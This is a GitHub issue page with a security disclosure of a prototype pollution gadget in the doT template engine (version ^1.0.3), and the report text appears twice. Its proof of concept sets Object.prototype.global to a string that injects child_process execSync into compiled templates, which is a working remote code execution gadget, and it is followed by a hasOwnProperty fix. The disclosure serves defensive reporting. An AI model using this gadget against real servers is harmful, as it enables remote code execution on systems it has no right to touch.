You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
I've identified another prototype pollution gadget within the doT template engine that could potentially be leveraged by attackers to achieve remote code execution via prototype pollution vulnerabilities. It is similar to issue #291.
Root Cause
The existence of these gadgets can be attributed to a specific programming practice. When checking for the presence of a property within an object variable, the lookup scope isn't explicitly defined. In JavaScript, the absence of a defined lookup scope prompts a search up to the root prototype (Object.prototype). This could potentially be under the control of an attacker if other prototype pollution vulnerabilities are present within the application.
Some vulnerable coding patterns are as follows.
if(obj.prop){ //... }
var x = obj.prop || ''
Impact
If the application server is using the doT as the backend template engine, and there is another prototype pollution vulnerability in the application, then the attacker could leverage the found gadgets in the doT template engine to escalate the prototype pollution to remote code execution.
Proof of Concept
Below, I present a Proof of Concept (PoC) to demonstrate the identified gadgets within the doT template engine. This scenario arises when developers compile their template functions into a JavaScript file and then require them for use. Contrasting with issue #291, this situation no longer necessitates developers to pass empty as data to the compiled function.
The doT version currently in use is ^1.0.3.
Gadget 1
var doT = require('dot');
Object.prototype.global = "}process.mainModule.require('child_process').execSync(\`sleep 10\`)}())//";
const templates = doT.process({path: __dirname+'/views'});
var mytemplate = require(__dirname+'/views/mytemplate.js')
General Suggested Fix
To mitigate this issue, I recommend constraining the property lookup to the current object variable. This can be achieved by utilizing the hasOwnProperty method, particularly when there's no requirement to traverse through the prototype chain.
if(obj.hasOwnProperty('prop')){ //... }
var x = obj.hasOwnProperty('prop') ? obj.prop : ''
By adopting this practice, we can effectively prevent the potential exploitation of prototype pollution vulnerabilities.
Finally, I kindly ask for your confirmation of these identified issues and would greatly appreciate your willingness to address them in the future. Should there be any need for further assistance or discussion, do not hesitate to reach out.
The text was updated successfully, but these errors were encountered:
Hello,
I've identified another prototype pollution gadget within the doT template engine that could potentially be leveraged by attackers to achieve remote code execution via prototype pollution vulnerabilities. It is similar to issue #291.
Root Cause
The existence of these gadgets can be attributed to a specific programming practice. When checking for the presence of a property within an object variable, the lookup scope isn't explicitly defined. In JavaScript, the absence of a defined lookup scope prompts a search up to the root prototype (Object.prototype). This could potentially be under the control of an attacker if other prototype pollution vulnerabilities are present within the application.
Some vulnerable coding patterns are as follows.
Impact
If the application server is using the doT as the backend template engine, and there is another prototype pollution vulnerability in the application, then the attacker could leverage the found gadgets in the doT template engine to escalate the prototype pollution to remote code execution.
Proof of Concept
Below, I present a Proof of Concept (PoC) to demonstrate the identified gadgets within the doT template engine. This scenario arises when developers compile their template functions into a JavaScript file and then require them for use. Contrasting with issue #291, this situation no longer necessitates developers to pass empty as data to the compiled function.
The doT version currently in use is ^1.0.3.
Gadget 1
General Suggested Fix
To mitigate this issue, I recommend constraining the property lookup to the current object variable. This can be achieved by utilizing the hasOwnProperty method, particularly when there's no requirement to traverse through the prototype chain.
By adopting this practice, we can effectively prevent the potential exploitation of prototype pollution vulnerabilities.
Finally, I kindly ask for your confirmation of these identified issues and would greatly appreciate your willingness to address them in the future. Should there be any need for further assistance or discussion, do not hesitate to reach out.
The text was updated successfully, but these errors were encountered: